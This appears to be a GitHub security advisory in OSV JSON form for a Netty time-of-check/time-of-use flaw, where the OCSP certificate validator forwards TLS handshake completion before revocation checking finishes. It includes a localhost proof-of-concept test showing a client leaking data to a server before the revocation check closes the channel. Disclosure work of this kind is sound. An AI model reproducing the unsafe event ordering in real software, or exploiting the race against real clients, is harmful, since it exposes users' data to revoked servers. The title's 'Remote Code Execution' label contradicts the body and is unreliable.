CVE-2026-56822: Netty Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wc96-39fc-566f",
  "modified" : "2026-07-22T21:47:41Z",
  "published" : "2026-07-22T21:47:41Z",
  "aliases" : [ "CVE-2026-56822" ],
  "summary" : "Netty: TOCTOU in OcspServerCertificateValidator",
  "details" : "### Summary\nNetty's OcspServerCertificateValidator forwards the SslHandshakeCompletionEvent before the asynchronous OCSP validation completes. This allows the client's downstream handlers to send sensitive application data (e.g., HTTP requests) to a revoked server before the channel is closed by the OCSP check.\n\n### Details\nIn `io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered`, when an `SslHandshakeCompletionEvent` is received, the validator immediately calls `ctx.fireUserEventTriggered(evt)`. It then initiates an asynchronous OCSP query using `OcspClient.query`.\n\nBecause the handshake completion event is forwarded immediately, downstream handlers in the client's pipeline are notified that the TLS handshake is successful. They may then begin reading and processing incoming application data or sending outgoing data. If the OCSP response later indicates the server's certificate is REVOKED, the validator closes the channel, but by this time, the client may have already leaked sensitive data to a revoked server or processed malicious responses from it.\n\n### PoC\n\n```java\n    @Test\n    public void test() throws Exception {\n        EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n        try {\n            OCSPRespBuilder respBuilder = new OCSPRespBuilder();\n            OCSPResp response = respBuilder.build(OCSPRespBuilder.INTERNAL_ERROR, null);\n            byte[] responseEncoded = response.getEncoded();\n\n            IoTransport mockTransport = IoTransport.create(group.next(), () -> {\n                NioSocketChannel channel = new NioSocketChannel();\n                channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() {\n                    @Override\n                    public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) {\n                        promise.setSuccess();\n\n                        ctx.executor().schedule(() -> {\n                            ctx.pipeline().fireChannelActive();\n\n                            DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(\n                                    HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.wrappedBuffer(responseEncoded));\n                            httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, \"application/ocsp-response\");\n                            httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH, httpResponse.content().readableBytes());\n\n                            ctx.pipeline().fireChannelRead(httpResponse);\n                        }, 500, TimeUnit.MILLISECONDS);\n                    }\n                });\n                return channel;\n            }, NioDatagramChannel::new);\n\n            X509Bundle caRoot = new CertificateBuilder()\n                    .algorithm(CertificateBuilder.Algorithm.rsa2048)\n                    .subject(\"CN=TrustedRootCA\")\n                    .setIsCertificateAuthority(true)\n                    .buildSelfSigned();\n\n            GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, \"http://localhost/\");\n            AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.id_ad_ocsp, ocspName));\n            X509Bundle targetCert = new CertificateBuilder()\n                    .algorithm(CertificateBuilder.Algorithm.rsa2048)\n                    .subject(\"CN=TargetServer\")\n                    .addExtensionOctetString(\"1.3.6.1.5.5.7.1.1\", false, aia.getEncoded())\n                    .buildIssuedBy(caRoot);\n\n            SslContext serverSslCtx = SslContextBuilder.forServer(targetCert.getKeyPair().getPrivate(), targetCert.getCertificate()).build();\n\n            CopyOnWriteArrayList<String> receivedData = new CopyOnWriteArrayList<>();\n            CountDownLatch dataReceivedLatch = new CountDownLatch(1);\n\n            new ServerBootstrap()\n                    .group(group)\n                    .channel(NioServerSocketChannel.class)\n                    .childHandler(new ChannelInitializer<SocketChannel>() {\n                        @Override\n                        protected void initChannel(SocketChannel ch) {\n                            ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc()));\n                            ch.pipeline().addLast(new SimpleChannelInboundHandler<ByteBuf>() {\n                                @Override\n                                protected void channelRead0(ChannelHandlerContext ctx, ByteBuf msg) {\n                                    receivedData.add(msg.toString(CharsetUtil.UTF_8));\n                                    dataReceivedLatch.countDown();\n                                }\n                            });\n                        }\n                    })\n                    .bind(8080)\n                    .sync()\n                    .channel();\n\n            SslContext clientSslCtx = SslContextBuilder.forClient()\n                    .trustManager(InsecureTrustManagerFactory.INSTANCE)\n                    .build();\n\n            DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(mockTransport);\n            Channel clientChannel = new Bootstrap()\n                    .group(group)\n                    .channel(NioSocketChannel.class)\n                    .handler(new ChannelInitializer<SocketChannel>() {\n                        @Override\n                        protected void initChannel(SocketChannel ch) {\n                            ch.pipeline().addLast(clientSslCtx.newHandler(ch.alloc(), \"127.0.0.1\", 8080));\n                            ch.pipeline().addLast(new OcspServerCertificateValidator(true, false, mockTransport, resolver));\n                            ch.pipeline().addLast(new ChannelInboundHandlerAdapter() {\n                                @Override\n                                public void userEventTriggered(ChannelHandlerContext ctx, Object evt) {\n                                    if (evt instanceof SslHandshakeCompletionEvent) {\n                                        SslHandshakeCompletionEvent sslEvent = (SslHandshakeCompletionEvent) evt;\n                                        if (sslEvent.isSuccess()) {\n                                            ctx.writeAndFlush(Unpooled.copiedBuffer(\"SECRET_DATA\", CharsetUtil.UTF_8));\n                                        }\n                                    }\n                                    ctx.fireUserEventTriggered(evt);\n                                }\n                            });\n                        }\n                    })\n                    .connect(\"127.0.0.1\", 8080)\n                    .sync()\n                    .channel();\n\n            assertTrue(clientChannel.closeFuture().await(5, TimeUnit.SECONDS));\n\n            Thread.sleep(200);\n\n            assertFalse(receivedData.contains(\"SECRET_DATA\"), \"Server should not receive the data.\");\n        } finally {\n            group.shutdownGracefully();\n        }\n    }\n```\n\n### Impact\nTOCTOU. Client applications relying on OcspServerCertificateValidator to enforce server certificate revocation are impacted. A malicious server with a revoked certificate can successfully establish a TLS connection and receive sensitive application data from the client (or send malicious data to it) during the window between the TLS handshake completing and the asynchronous OCSP check failing.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.netty:netty-handler-ssl-ocsp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.2.0.Final"
      }, {
        "fixed" : "4.2.16.Final"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.netty:netty-handler-ssl-ocsp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.136.Final"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/netty/netty/security/advisories/GHSA-wc96-39fc-566f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/netty/netty"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-367" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-22T21:47:41Z",
    "nvd_published_at" : null
  }
}